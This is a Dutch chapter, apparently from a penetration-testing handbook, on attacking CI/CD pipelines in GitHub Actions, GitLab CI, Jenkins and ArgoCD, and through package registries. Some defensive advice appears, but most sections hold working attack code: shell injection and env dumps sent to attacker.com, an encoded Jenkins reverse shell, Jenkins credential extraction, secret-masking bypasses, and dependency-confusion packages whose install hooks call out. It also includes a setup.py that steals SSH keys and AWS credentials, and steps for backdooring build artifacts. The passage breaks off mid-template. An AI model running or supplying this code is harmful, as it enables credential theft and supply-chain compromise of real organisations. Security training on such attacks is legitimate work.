Een CI/CD pipeline is, vanuit het perspectief van een aanvaller, het equivalent van een kluisruimte met een lopende band die er doorheen loopt. De kluis is stevig, de deur zit op slot, maar er is een gat in de muur waar de lopende band doorheen gaat. En op die lopende band liggen de sleutels tot het koninkrijk: deployment credentials, cloud tokens, signing keys, database wachtwoorden. Alles wat nodig is om software van code naar productie te brengen.

De term “keys to the kingdom” is geen hyperbool. Een gecompromitteerde CI/CD pipeline geeft je typisch toegang tot:

En het mooiste – vanuit het perspectief van de aanvaller – is dat dit allemaal geautomatiseerd is. Je hoeft niet handmatig bestanden te kopiëren of wachtwoorden in te typen. De pipeline doet het voor je. Je hoeft alleen maar de pipeline te overtuigen dat jouw code legitiem is.

De aanvalsketen

MITRE ATT&CK heeft de supply chain als aanvalsvector formeel erkend onder T1195 (Supply Chain Compromise). Maar de werkelijke impact gaat verder dan een enkele techniek. Een gecompromitteerde pipeline raakt meerdere tactieken:

Fase MITRE ATT&CK Wat de aanvaller bereikt
Code injection T1195.002 - Software Supply Chain Kwaadaardige code in de build
Secret theft T1552.001 - Credentials In Files Pipeline secrets exfiltreren
Artifact tampering T1195.002 Getrojaniseerde build-artefacten
Deployment abuse T1610 - Deploy Container Malicious deployment naar productie
Lateral movement T1021 - Remote Services Van CI/CD naar cloud/infra

De SolarWinds-aanval van 2020 was het moment waarop de wereld wakker werd. Aanvallers compromitteerden het build-systeem van SolarWinds en injecteerden een backdoor in een software-update die naar 18.000 organisaties werd gedistribueerd, waaronder het Amerikaanse ministerie van Financien en het Department of Homeland Security. De aanvallers hoefden geen netwerken te hacken – ze lieten de slachtoffers de backdoor zelf installeren, als een “vertrouwde” software-update.

Het was briljant. Het was verschrikkelijk. En het was onvermijdelijk.

7.2 CI/CD architectuur

Componenten

Elke CI/CD pipeline, ongeacht het platform, bestaat uit dezelfde basiscomponenten:

┌──────────────────────────────────────────────────────────────────┐
│                        CI/CD Pipeline                             │
│                                                                   │
│  ┌────────┐    ┌────────┐    ┌────────┐    ┌─────────────────┐   │
│  │ Source │───>│ Build  │───>│ Test   │───>│ Deploy          │   │
│  │ (Git)  │    │(Runner)│    │(Runner)│    │(Runner → Prod)  │   │
│  └────────┘    └────┬───┘    └────────┘    └────────┬────────┘   │
│                     │                               │             │
│              ┌──────┴──────┐                 ┌──────┴──────┐     │
│              │   Secrets   │                 │   Secrets   │     │
│              │   Manager   │                 │   Manager   │     │
│              └─────────────┘                 └─────────────┘     │
└──────────────────────────────────────────────────────────────────┘

Runners/Agents zijn de machines die de pipeline-stappen uitvoeren. Ze kunnen gedeeld (shared runners, beschikbaar voor meerdere projecten) of dedicated (self-hosted, specifiek voor een project) zijn. Shared runners zijn een beveiligingsrisico omdat code van verschillende projecten op dezelfde machine draait. Self-hosted runners zijn een risico omdat ze vaak in het interne netwerk staan en als springplank naar andere systemen kunnen dienen.

Pipelines zijn de gedefinieerde stappen die code doorloopt van commit tot deployment. Ze worden typisch beschreven in YAML-bestanden die in de repository zelf staan. Dit is het “pipeline as code” paradigma, en het is zowel een zegen als een vloek: het is versiebeheerd en reviewbaar, maar het betekent ook dat wie de code kan wijzigen, de pipeline kan wijzigen.

Environments zijn logische groepen van deployment-targets: development, staging, productie. Goed geconfigureerde pipelines vereisen handmatige goedkeuring voor deployment naar productie. Slecht geconfigureerde pipelines deployen automatisch. Raad eens welke variant vaker voorkomt.

Secrets Management is hoe de pipeline toegang krijgt tot credentials. De meest voorkomende patronen:

Methode Veiligheid Voorbeeld
Environment variables in UI Redelijk GitHub Secrets, GitLab CI Variables
Vault integratie Goed HashiCorp Vault, AWS Secrets Manager
OIDC federation Goed Workload Identity Federation
Hardcoded in pipeline YAML Catastrofaal password: SuperSecret123 in .gitlab-ci.yml
.env bestanden in repo Catastrofaal Credentials in version control

OIDC Federation verdient speciale aandacht omdat het de toekomst van secrets management in CI/CD is. In plaats van langlevende credentials op te slaan in de pipeline, vraagt de runner een kortlevend token aan bij de cloud provider, geauthenticeerd via het OIDC-token van het CI/CD platform. Geen secrets om te stelen, geen credentials om te roteren. Het is elegant. Het wordt ook nog lang niet overal gebruikt.

# Voorbeeld: GitHub Actions met AWS OIDC
jobs:
  deploy:
    permissions:
      id-token: write
      contents: read
    steps:
    - uses: aws-actions/configure-aws-credentials@v4
      with:
        role-to-assume: arn:aws:iam::123456789:role/GitHubActions
        aws-region: eu-west-1
    # Geen AWS_ACCESS_KEY_ID of AWS_SECRET_ACCESS_KEY nodig!

7.3 GitHub Actions Exploitation

Het aanvalsoppervlak

GitHub Actions is het meest gebruikte CI/CD platform ter wereld, geintegreerd in het platform waar de meeste open-source en veel closed-source code leeft. Het is krachtig, flexibel, en – als je niet oplet – een open deur naar je hele infrastructuur.

Expression injection

De meest elegante aanval op GitHub Actions is expression injection. GitHub Actions gebruikt ${{ }} syntax voor expressies, en sommige contexten worden als templates verwerkt voordat de shell ze uitvoert. Als een aanvaller controle heeft over de waarde van een expressie, kan hij willekeurige commando’s injecteren.

# KWETSBAAR: issue title wordt direct in de shell geïnjecteerd
name: Issue Handler
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
    - run: |
        echo "Processing issue: ${{ github.event.issue.title }}"
        # Als de issue title is: "; curl https://attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
        # wordt dit:
        # echo "Processing issue: "; curl https://attacker.com/steal?t=$(cat $GITHUB_TOKEN)

De aanval werkt omdat ${{ github.event.issue.title }} wordt vervangen door de letterlijke tekst van de issue title voordat het shell-commando wordt uitgevoerd. Er is geen escaping, geen sanitization. De aanvaller opent simpelweg een issue met een titel die shell-commando’s bevat.

Kwetsbare contexten:

Context Aanvaller controleert Risico
github.event.issue.title Issue titel Shell injection
github.event.issue.body Issue body Shell injection
github.event.pull_request.title PR titel Shell injection
github.event.pull_request.body PR body Shell injection
github.event.comment.body Comment Shell injection
github.event.review.body Review tekst Shell injection
github.event.commits[*].message Commit message Shell injection
github.head_ref Branch naam Shell injection
# VEILIG: gebruik een environment variable als tussenlaag
steps:
- name: Process issue
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: |
    echo "Processing issue: $ISSUE_TITLE"
    # De waarde wordt nu als environment variable doorgegeven,
    # niet als template die in de shell wordt geïnjecteerd

Self-hosted runner abuse

Self-hosted runners zijn machines die een organisatie zelf beheert en registreert bij GitHub. Ze worden vaak gebruikt voor builds die toegang nodig hebben tot interne resources. Het probleem: als een aanvaller code kan uitvoeren op een self-hosted runner, heeft hij een foothold in het interne netwerk.

# Een pull request van een fork kan code uitvoeren op self-hosted runners
# ALS de workflow getriggerd wordt door pull_request
# EN self-hosted runners beschikbaar zijn voor het project
name: Build
on:
  pull_request:  # Triggert op PRs van forks!
jobs:
  build:
    runs-on: self-hosted  # Draait op de interne runner
    steps:
    - uses: actions/checkout@v4  # Checkt de code van de fork uit
    - run: make build            # Voert de code van de aanvaller uit

Wat een aanvaller op een self-hosted runner kan doen:

# Op de self-hosted runner (na het uitvoeren van een malicious PR):

# 1. Netwerk verkenning
ip addr
cat /etc/resolv.conf
nmap -sn 10.0.0.0/24

# 2. Credentials zoeken
find / -name ".env" -o -name "*.key" -o -name "kubeconfig" 2>/dev/null
cat ~/.docker/config.json
cat ~/.kube/config
cat ~/.aws/credentials

# 3. Andere workflow runs bespioneren (persistent runner)
ls -la /home/runner/actions-runner/_work/
# Bevat code en artefacten van eerdere builds

# 4. Runner registration token stelen
cat /home/runner/actions-runner/.credentials
cat /home/runner/actions-runner/.runner

# 5. Implant achterlaten (als de runner niet ephemeral is)
echo "* * * * * curl https://attacker.com/beacon" | crontab -
# Of pas de runner configuratie aan om bij elke build code uit te voeren

IB Tip: Controleer of self-hosted runners als ephemeral zijn geconfigureerd (--ephemeral flag). Ephemeral runners worden na elke job vernietigd en opnieuw aangemaakt, wat het risico van cross-job contaminatie elimineert. Non-ephemeral runners zijn een persistentie-goudmijn.

GITHUB_TOKEN permissions

Elke GitHub Actions workflow krijgt automatisch een GITHUB_TOKEN met permissies op de repository. De standaard permissies zijn aanzienlijk:

# Standaard GITHUB_TOKEN permissies (als niet beperkt):
permissions:
  actions: write
  checks: write
  contents: write     # KAN CODE PUSHEN!
  deployments: write
  issues: write
  packages: write
  pull-requests: write
  repository-projects: write
  security-events: write
  statuses: write
# Best practice: minimale permissies
permissions:
  contents: read
  # Voeg alleen toe wat nodig is
# Exfiltratie van GITHUB_TOKEN in een workflow
# Het token is beschikbaar als $GITHUB_TOKEN of ${{ secrets.GITHUB_TOKEN }}

# Stap 1: Lees het token
echo $GITHUB_TOKEN
# Of:
cat $GITHUB_TOKEN  # soms als bestand beschikbaar

# Stap 2: Gebruik het token om repository secrets te lezen
# (als het token voldoende permissies heeft)
curl -s -H "Authorization: token $GITHUB_TOKEN" \
    "https://api.github.com/repos/ORG/REPO/actions/secrets"

# Stap 3: Gebruik het token om code te pushen
git config user.name "bot"
git config user.email "bot@example.com"
git remote set-url origin https://x-access-token:$GITHUB_TOKEN@github.com/ORG/REPO.git
echo "backdoor" >> backdoor.sh
git add . && git commit -m "chore: update dependencies" && git push

# Stap 4: Lees de Organization secrets (als org-level token)
curl -s -H "Authorization: token $GITHUB_TOKEN" \
    "https://api.github.com/orgs/ORG/actions/secrets"

Secret exfiltration via artifacts

Workflow artefacten zijn bestanden die een job produceert en die door andere jobs of gebruikers kunnen worden gedownload. Als secrets per ongeluk in artefacten terechtkomen:

# KWETSBAAR: debug output bevat secrets
jobs:
  build:
    steps:
    - run: |
        echo "Debug: ENV=$(env)"  # Dumpt ALLE environment variables
        npm run build 2>&1 | tee build.log  # Build log bevat secret refs
    - uses: actions/upload-artifact@v4
      with:
        name: build-output
        path: |
          dist/
          build.log  # Bevat mogelijk gelekte secrets!
# Download artefacten via de GitHub API
# Lijst alle artefacten van een repository
curl -s -H "Authorization: token $TOKEN" \
    "https://api.github.com/repos/ORG/REPO/actions/artifacts" \
    | python3 -c "
import sys, json
for a in json.load(sys.stdin)['artifacts']:
    print(f\"{a['id']}: {a['name']} ({a['created_at']})\")
"

# Download een specifiek artefact
curl -sL -H "Authorization: token $TOKEN" \
    "https://api.github.com/repos/ORG/REPO/actions/artifacts/ARTIFACT_ID/zip" \
    -o artifact.zip
unzip artifact.zip
grep -rn -iE '(password|secret|key|token|credential)' .

pull_request_target: de gevaarlijke trigger

pull_request_target is een workflow trigger die draait in de context van de base branch, niet de PR-branch. Dit betekent dat de workflow toegang heeft tot de secrets van de base branch. Het is bedoeld voor vertrouwde acties op onvertrouwde PRs (zoals het labelen van PRs). Maar als de workflow code uitcheckt en uitvoert van de PR-branch:

# KWETSBAAR: pull_request_target + checkout van PR code
name: PR Build
on:
  pull_request_target:  # Draait met secrets van main branch!

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
      with:
        ref: ${{ github.event.pull_request.head.sha }}
        # Checkt de CODE VAN DE PR uit, maar draait met SECRETS VAN MAIN
    - run: npm install  # Voert package.json scripts uit van de PR
    - run: npm test     # Aanvaller controleert de tests

De aanvaller opent een PR met malicious code, en die code wordt uitgevoerd met de secrets van de main branch. Het is het equivalent van een bezoeker die zijn eigen bagage meebrengt naar de kluisruimte.

# VEILIG: gebruik pull_request_target alleen zonder code checkout
name: PR Label
on:
  pull_request_target:
    types: [opened]

jobs:
  label:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/github-script@v7
      with:
        script: |
          // Voer NOOIT code uit van de PR
          // Gebruik alleen de GitHub API
          await github.rest.issues.addLabels({
            owner: context.repo.owner,
            repo: context.repo.repo,
            issue_number: context.issue.number,
            labels: ['needs-review']
          })

7.4 GitLab CI Aanvallen

Shared runners: het gedeelde risico

GitLab CI shared runners zijn machines die door meerdere projecten worden gedeeld. Elke job draait in een container, maar de runners zelf zijn persistent:

# .gitlab-ci.yml - malicious pipeline
stages:
  - exploit

steal_secrets:
  stage: exploit
  script:
    # 1. Dump alle CI/CD variables
    - env | sort
    # CI/CD variables (gemarkeerd als "protected" of niet)
    # worden als environment variables beschikbaar gemaakt

    # 2. Zoek naar overgebleven artefacten van andere projecten
    - find /builds/ -name "*.env" -o -name "*.key" 2>/dev/null

    # 3. Als de runner Docker-in-Docker ondersteunt:
    - docker ps  # Andere containers op dezelfde runner?
    - docker images  # Cached images met secrets?

    # 4. Netwerk verkenning vanuit de runner
    - apt-get update && apt-get install -y nmap
    - nmap -sn 10.0.0.0/24

CI/CD variable extraction

GitLab CI/CD variables worden ingesteld op project-, groep- of instance-niveau. Ze zijn beschikbaar als environment variables in pipeline jobs:

# In een GitLab CI job:
# Alle variables zijn beschikbaar als env vars
env | grep -E '^(CI_|CUSTOM_|DB_|AWS_|DEPLOY_)'

# Protected variables zijn alleen beschikbaar op protected branches
# MAAR: als je toegang hebt tot een protected branch...
git checkout main  # of production, release, etc.
# ...dan zijn alle protected variables beschikbaar

# Masked variables worden verborgen in de build log
# MAAR: er zijn manieren om ze te onthullen
echo "$SECRET_VAR" | base64  # Base64-encoded output wordt niet gemasked
echo "$SECRET_VAR" | rev     # Omgekeerde tekst wordt niet gemasked
echo "$SECRET_VAR" > /tmp/secret.txt
cat /tmp/secret.txt          # Bestand output wordt niet gemasked
# .gitlab-ci.yml - extract protected variables
extract_vars:
  script:
    # Methode 1: schrijf naar bestand en upload als artifact
    - env > /tmp/all_vars.txt
    - base64 /tmp/all_vars.txt  # Omzeilt masking
  artifacts:
    paths:
      - /tmp/all_vars.txt
    expire_in: 1 hour
  only:
    - main  # Protected branch = protected variables beschikbaar

Protected branch bypass

Protected branches in GitLab vereisen merge requests met goedkeuringen. Maar er zijn omwegen:

# Methode 1: Als je maintainer bent, kun je direct pushen
# (tenzij "No one" is geconfigureerd voor push access)
git push origin main

# Methode 2: Branch protection rules zijn soms te specifiek
# Protected branch: "main"
# Maar niet: "Main", "MAIN", of "refs/heads/main"
# (case-sensitivity afhankelijk van configuratie)

# Methode 3: Tags kunnen soms worden gepusht zonder review
git tag -a v1.0.0 -m "Release"
git push origin v1.0.0
# Als de pipeline triggert op tags en protected variables beschikbaar zijn...

# Methode 4: Merge request approval bypass via API
# Als de minimale approvals op 1 staat en je zelf kunt approven:
curl -X POST "https://gitlab.com/api/v4/projects/ID/merge_requests/MR_ID/approve" \
    -H "PRIVATE-TOKEN: $GITLAB_TOKEN"

Include directive abuse

GitLab CI ondersteunt include directives die externe YAML-bestanden laden:

# .gitlab-ci.yml met include
include:
  - project: 'shared/ci-templates'
    file: '/templates/build.yml'
    ref: main
  - remote: 'https://internal-server.com/pipeline.yml'
  - local: '/ci/deploy.yml'

# AANVAL: als je de included bron kunt wijzigen,
# wijzig je effectief de pipeline van het doelproject
# zonder die repo direct aan te raken
# Aanval op 'remote' include:
# Als je de webserver beheert die de YAML host,
# of DNS kunt manipuleren om het verzoek te redirecten:

# malicious pipeline.yml op attacker's server
stages:
  - pwn

exfiltrate:
  stage: pwn
  script:
    - env | curl -X POST -d @- https://attacker.com/collect
  # Dit wordt uitgevoerd in de context van het doelproject
  # met al zijn CI/CD variables en secrets

7.5 Jenkins Exploitation

Het olifant in de kamer

Jenkins is het oudste en meest verspreide CI/CD platform. Het is ook, met enige regelmaat, het meest onveilige. Jenkins-instanties die open staan op het internet, met standaard credentials of zonder authenticatie, zijn zo gewoon dat ze nauwelijks nog nieuwswaarde hebben. Het is als een stadspark – iedereen weet dat het er is, iedereen kan erin, en niemand lijkt zich daar zorgen over te maken.

Script Console RCE

De Jenkins Script Console (/script) is een Groovy-interpreter die code uitvoert op de Jenkins master met de rechten van het Jenkins-proces (vaak root of SYSTEM):

// Jenkins Script Console - Remote Code Execution
// URL: https://JENKINS/script

// Commando uitvoeren
println "whoami".execute().text
println "id".execute().text
println "cat /etc/shadow".execute().text

// Reverse shell
def cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"
println cmd.execute().text

// Bestanden lezen
new File("/etc/passwd").text

// Environment variables (bevat vaak secrets)
System.getenv().each { k, v -> println "$k=$v" }

// Jenkins credentials uitlezen
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import jenkins.model.Jenkins

def creds = CredentialsProvider.lookupCredentials(
    StandardUsernamePasswordCredentials.class,
    Jenkins.instance, null, null
)
creds.each {
    println "ID: ${it.id}"
    println "Username: ${it.username}"
    println "Password: ${it.password}"
    println "---"
}

IB Tip: De Jenkins Script Console vereist normaal gesproken admin-toegang, maar misconfiguraties komen voor. Test altijd /script en /scriptText (de API-variant). Sommige Jenkins-installaties hebben anonymous access tot de Script Console – een situatie die net zo absurd is als het klinkt.

Groovy sandbox escapes

Jenkins Pipeline scripts draaien in een Groovy sandbox die gevaarlijke operaties beperkt. Maar de sandbox is herhaaldelijk omzeild:

// Historische sandbox escapes (ter illustratie):

// Via meta-programming
// CVE-2019-1003000 en varianten
@Grab('commons-io:commons-io:2.6')
import org.apache.commons.io.IOUtils

// Via AST transformations
@groovy.transform.ASTTest(value = {
    assert java.lang.Runtime.getRuntime().exec("id")
})
class Exploit {}

// Moderne pipelines: gebruik de "Script Security" plugin bypass
// Vraag de admin om een script te "approven" via Social Engineering

Credential stores

Jenkins slaat credentials op in een versleutelde store, maar de encryptiesleutel staat op het Jenkins-filesysteem:

# Op het Jenkins-filesysteem (na compromitteren van de master):

# Credentials zijn opgeslagen in:
cat /var/lib/jenkins/credentials.xml
# Of:
cat $JENKINS_HOME/credentials.xml

# De encryptiesleutel:
cat /var/lib/jenkins/secrets/master.key
cat /var/lib/jenkins/secrets/hudson.util.Secret

# Decryptie met jenkins-credentials-decryptor:
# https://github.com/hoto/jenkins-credentials-decryptor
jenkins-credentials-decryptor \
    -m /var/lib/jenkins/secrets/master.key \
    -s /var/lib/jenkins/secrets/hudson.util.Secret \
    -c /var/lib/jenkins/credentials.xml

# Of via de Script Console (als je web-toegang hebt):
println hudson.util.Secret.decrypt("{AQAAABAAAAAw...}")

Pipeline as code injection

Als je een Jenkinsfile kunt wijzigen in een repository, kun je de pipeline kapen:

// Malicious Jenkinsfile
pipeline {
    agent any
    stages {
        stage('Build') {
            steps {
                // Normaal uitziende build stap
                sh 'mvn clean install'
            }
        }
        stage('Deploy') {
            steps {
                // Exfiltreer credentials
                withCredentials([
                    usernamePassword(
                        credentialsId: 'prod-deploy',
                        usernameVariable: 'DEPLOY_USER',
                        passwordVariable: 'DEPLOY_PASS'
                    ),
                    string(
                        credentialsId: 'aws-secret',
                        variable: 'AWS_KEY'
                    )
                ]) {
                    sh '''
                        # Ziet eruit als een deployment check
                        curl -s "https://attacker.com/collect" \
                            -d "user=$DEPLOY_USER" \
                            -d "pass=$DEPLOY_PASS" \
                            -d "aws=$AWS_KEY"
                    '''
                }
            }
        }
    }
}

7.6 Secrets in Pipelines

Het onvermijdelijke lek

Hier is het fundamentele probleem met secrets in CI/CD: de pipeline moet toegang hebben tot secrets om zijn werk te doen. Het moet kunnen deployen, dus het heeft deployment credentials nodig. Het moet naar de database, dus het heeft het wachtwoord nodig. Het moet images pushen, dus het heeft registry credentials nodig.

De vraag is niet of secrets in de pipeline zitten, maar hoe goed ze beschermd zijn. En het antwoord is, in de meeste gevallen, teleurstellend.

Environment variable leaks

# In elke CI/CD omgeving:
env | sort
# Toont ALLE environment variables, inclusief secrets
# die via de CI/CD configuratie zijn geïnjecteerd

# Specifieke patronen om te zoeken:
env | grep -iE '(password|secret|key|token|credential|api_key|access_key)'

# AWS credentials
env | grep AWS
# AWS_ACCESS_KEY_ID=AKIA...
# AWS_SECRET_ACCESS_KEY=wJal...
# AWS_SESSION_TOKEN=...

# Database credentials
env | grep -iE '(db_|database_|mysql_|postgres_|mongo_)'
# DB_PASSWORD=SuperSecret123

# Cloud provider tokens
env | grep -iE '(gcp_|google_|azure_|arm_)'

Build log secrets

Build logs zijn een veelvoorkomende bron van gelekte secrets. Ondanks masking door het CI/CD platform:

# Methode 1: Debug mode
# Veel build tools dumpen environment variables in verbose/debug mode
npm install --verbose 2>&1  # Kan registry tokens tonen
pip install -r requirements.txt -v  # Kan index URLs met credentials tonen
terraform plan 2>&1  # Kan provider credentials tonen

# Methode 2: Error messages
# Foutmeldingen bevatten vaak de waarden die het probleem veroorzaken
curl -u "admin:$SECRET_PASSWORD" https://internal-api.com/endpoint
# Als de curl faalt, kan de foutmelding de volledige URL met credentials tonen

# Methode 3: Stack traces
# Applicatie-crashes dumpen soms de environment of configuratie
python -c "import os; raise Exception(os.environ)"

Artifact secrets

# Veelvoorkomende bestanden met secrets in build artefacten:
# .env bestanden
# docker-compose.yml met hardcoded credentials
# terraform.tfstate (bevat ALLE infrastructure state inclusief passwords)
# kubeconfig bestanden
# .npmrc met registry tokens
# pip.conf met index URLs
# settings.xml (Maven) met repository credentials
# gradle.properties met signing keys

# Terraform state is bijzonder gevaarlijk:
cat terraform.tfstate | python3 -c "
import sys, json
state = json.load(sys.stdin)
for resource in state.get('resources', []):
    for instance in resource.get('instances', []):
        attrs = instance.get('attributes', {})
        for key, value in attrs.items():
            if any(s in key.lower() for s in ['password', 'secret', 'key', 'token']):
                print(f'{resource[\"type\"]}.{resource[\"name\"]}: {key}={value}')
"

.env bestanden in repositories

# Zoek naar .env bestanden in de git history
git log --all --full-history -- "*.env"
git log --all --full-history -- ".env*"

# Haal een verwijderd .env bestand op
git log --diff-filter=D -- .env
git show COMMIT_HASH:.env

# Zoek in de volledige git history naar secrets
# truffleHog
trufflehog git file:///path/to/repo

# git-secrets
git secrets --scan-history

# gitleaks
gitleaks detect --source /path/to/repo --verbose

IB Tip: terraform.tfstate bestanden zijn de heilige graal van CI/CD secrets. Ze bevatten de volledige staat van de infrastructuur, inclusief alle wachtwoorden, API keys en connection strings die Terraform heeft aangemaakt of gebruikt. Zoek altijd naar tfstate-bestanden in repositories, artefacten en S3 buckets.

7.7 Dependency Confusion

Het naamgevingsprobleem

Dependency confusion is een van die aanvallen die zo eenvoudig is dat je je afvraagt waarom niemand er eerder aan heeft gedacht. Het concept: veel organisaties hebben interne packages met namen die niet bestaan op publieke package managers. Als een aanvaller een package met dezelfde naam publiceert op de publieke registry, en de build-tool de publieke versie verkiest boven de private versie, wordt de kwaadaardige code geinstalleerd.

Het is naamkaping, maar dan voor software.

De aanval in detail

# Stap 1: Ontdek interne package namen
# Via error messages in build logs
# Via package.json / requirements.txt / .csproj in publieke repos
# Via npm/pip install output die naar een private registry wijst
# Via DNS-verzoeken (als je het netwerk kunt sniffen)

# Voorbeeld: package.json met interne packages
{
  "dependencies": {
    "react": "^18.0.0",          // Publiek - bestaat op npm
    "company-utils": "^1.2.3",    // Intern - bestaat NIET op npm
    "company-auth": "^2.0.0"      // Intern - bestaat NIET op npm
  }
}
# Stap 2: Publiceer een malicious package met dezelfde naam
# maar een HOGER versienummer

# npm
mkdir company-utils && cd company-utils
npm init -y
# Zet het versienummer hoger dan de interne versie
cat > package.json << 'EOF'
{
  "name": "company-utils",
  "version": "99.0.0",
  "scripts": {
    "preinstall": "curl https://attacker.com/collect?pkg=company-utils&host=$(hostname)"
  }
}
EOF
npm publish

# PyPI
cat > setup.py << 'EOF'
from setuptools import setup
from setuptools.command.install import install
import os

class PostInstall(install):
    def run(self):
        install.run(self)
        os.system("curl https://attacker.com/collect?pkg=company-utils")

setup(
    name="company-utils",
    version="99.0.0",
    cmdclass={"install": PostInstall}
)
EOF
python3 setup.py sdist
twine upload dist/*

# NuGet
# Vergelijkbaar patroon met .csproj en pre/post build events

Waarom het werkt: de meeste package managers geven voorkeur aan hogere versienummers. Als de interne versie 1.2.3 is en de publieke versie 99.0.0, installeert de build-tool de publieke versie. De preinstall of postinstall scripts worden automatisch uitgevoerd – op de build server, met de rechten van de CI/CD runner, met toegang tot alle pipeline secrets.

Typosquatting

Verwant aan dependency confusion, maar subtieler:

# Voorbeelden van typosquats:
# Origineel:      Typosquat:
# lodash          1odash (L vs 1)
# requests        requets (letters omgedraaid)
# python-dateutil python-dateutill (extra l)
# colors          colour (Brits Engels)
# express         expresss (extra s)

# Automatische typosquat-generatie:
# - Letter omwisseling: ab -> ba
# - Letter toevoeging: abc -> abbc
# - Letter verwijdering: abc -> ac
# - Letter vervanging: abc -> adc
# - Homoglyphen: l -> 1, O -> 0, rn -> m

Namespace confusion

# npm scoped packages
# Intern: @company/utils (scoped)
# Aanvaller kan niet: @company/utils publiek aanmaken (scope is beschermd)
# Maar als het interne package NIET scoped is:
# Intern: company-utils (niet scoped)
# Aanvaller kan WEL: company-utils op npm publiceren

# PyPI heeft geen scopes
# Intern: company-utils
# Aanvaller: company-utils op PyPI = dependency confusion

# Verdediging: gebruik ALTIJD scoped/namespaced packages
# npm: @company/utils
# NuGet: Company.Utils met reserved prefix
# PyPI: publiceer een placeholder met dezelfde naam

7.8 Supply Chain Aanvallen

Compromised Actions en Orbs

GitHub Actions en CircleCI Orbs zijn herbruikbare workflow-componenten. Ze worden gereferereerd op naam en versie, en ze draaien met de permissies van de workflow die ze aanroept:

# GitHub Actions - verwijzen naar een action
steps:
- uses: actions/checkout@v4           # Officieel, veilig
- uses: random-user/deploy-action@v1  # Wie is random-user?
- uses: company/internal-action@main  # Wat als iemand main pusht?

# HET RISICO: als "random-user" zijn GitHub account wordt gecompromitteerd,
# of als hij besluit kwaadaardige code toe te voegen aan v1,
# draait die code in JOUW pipeline met JOUW secrets
# VEILIG: pin actions op een specifieke commit SHA
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4.1.1
# Nu maakt het niet uit of de tag wordt verplaatst --
# je gebruikt altijd dezelfde code

# Maar wie controleert die SHA? En wanneer update je?
# En wat als de action dependency heeft op ANDERE actions?
# Supply chain security is een eindeloze keten van vertrouwen.

De realiteit is dat de meeste organisaties actions pinnen op tags (@v1, @v4) die door de eigenaar op elk moment naar willekeurige code kunnen worden verwezen. Het is alsof je een aannemer vertrouwt omdat hij vorig jaar goed werk leverde, zonder te controleren of hij dit keer dezelfde ploeg meebrengt.

Malicious packages

# Veelvoorkomende technieken in malicious packages:

# 1. Postinstall scripts
# package.json:
"scripts": {
    "postinstall": "node malicious.js"
}

# 2. Import-time code execution
# Python: code in __init__.py of setup.py draait bij import/install
# Ruby: code in gemspec draait bij install
# Go: init() functies draaien bij import

# 3. Typosquatting + credential theft
# malicious setup.py:
import os, json, base64, urllib.request
data = {
    "hostname": os.uname().nodename,
    "env": dict(os.environ),
    "ssh_keys": [],
    "aws_creds": None
}
# Verzamel SSH keys
for f in [os.path.expanduser("~/.ssh/id_rsa"), os.path.expanduser("~/.ssh/id_ed25519")]:
    try:
        data["ssh_keys"].append(open(f).read())
    except: pass
# Verzamel AWS credentials
try:
    data["aws_creds"] = open(os.path.expanduser("~/.aws/credentials")).read()
except: pass
# Exfiltreer
urllib.request.urlopen(urllib.request.Request(
    "https://attacker.com/collect",
    data=json.dumps(data).encode(),
    headers={"Content-Type": "application/json"}
))

Build artifact tampering

# Als je toegang hebt tot de artifact storage (S3 bucket, Artifactory, etc.):

# Stap 1: Download het originele artefact
aws s3 cp s3://company-artifacts/webapp/v2.1.0/webapp.jar ./

# Stap 2: Decompileer en modificeer
# Voor Java:
unzip webapp.jar -d webapp
# Voeg een backdoor klasse toe
javac -cp webapp Backdoor.java
cp Backdoor.class webapp/com/company/

# Stap 3: Hercompileer en upload
cd webapp && jar cf ../webapp-modified.jar . && cd ..
aws s3 cp webapp-modified.jar s3://company-artifacts/webapp/v2.1.0/webapp.jar

# Voor npm packages:
npm pack company-webapp
tar xzf company-webapp-2.1.0.tgz
# Modificeer package/index.js
# Herpack en upload

# Stap 4: Wacht tot de volgende deployment het getamperde artefact gebruikt

7.9 ArgoCD en GitOps

De GitOps belofte

GitOps is het principe dat de gewenste staat van je infrastructuur in een Git-repository staat. ArgoCD is de meest populaire GitOps-tool voor Kubernetes: het synchroniseert Kubernetes-manifesten vanuit Git naar het cluster. Elke wijziging in Git wordt automatisch gedeployd.

Het klinkt elegant. Het is elegant. Maar het verplaatst het beveiligingsprobleem van “wie heeft toegang tot het cluster” naar “wie heeft toegang tot de Git-repository.” En Git-repositories zijn, zoals we hebben gezien, niet altijd zo goed beveiligd als men denkt.

ArgoCD aanvalsoppervlak

# ArgoCD standaard poorten
# 443/8080 - ArgoCD API Server (web UI + API)
# 8083 - ArgoCD Repo Server

# Stap 1: Ontdek ArgoCD
nmap -p 443,8080,8083 -sV TARGET

# Stap 2: Test standaard credentials
# ArgoCD < 1.9: admin / (leeg wachtwoord)
# ArgoCD >= 1.9: admin / (initieel wachtwoord in een Secret)
argocd login ARGOCD_SERVER --username admin --password ''
argocd login ARGOCD_SERVER --username admin --password 'admin'

# Stap 3: Als je toegang hebt, enumerate
argocd app list
argocd cluster list
argocd repo list
argocd proj list

# Stap 4: Lees repository credentials
# ArgoCD slaat repo credentials op in Kubernetes Secrets
kubectl get secrets -n argocd -l argocd.argoproj.io/secret-type=repository -o yaml

Helm chart injection

Helm is de package manager voor Kubernetes, en Helm charts bevatten templates die worden gerenderd tot Kubernetes-manifesten. Als je een Helm chart kunt wijzigen:

# values.yaml - bevat vaak secrets in plain text
database:
  host: prod-db.internal
  username: webapp
  password: ProductionP@ssw0rd!  # Oeps.

redis:
  password: RedisSecret123

aws:
  accessKey: AKIA...
  secretKey: wJal...
# Malicious Helm template - voeg een pod toe die secrets exfiltreert
# templates/debug-pod.yaml (ziet eruit als een debug tool)
apiVersion: v1
kind: Pod
metadata:
  name: {{ .Release.Name }}-debug
  labels:
    app: {{ .Release.Name }}
spec:
  containers:
  - name: debug
    image: alpine
    command:
    - /bin/sh
    - -c
    - |
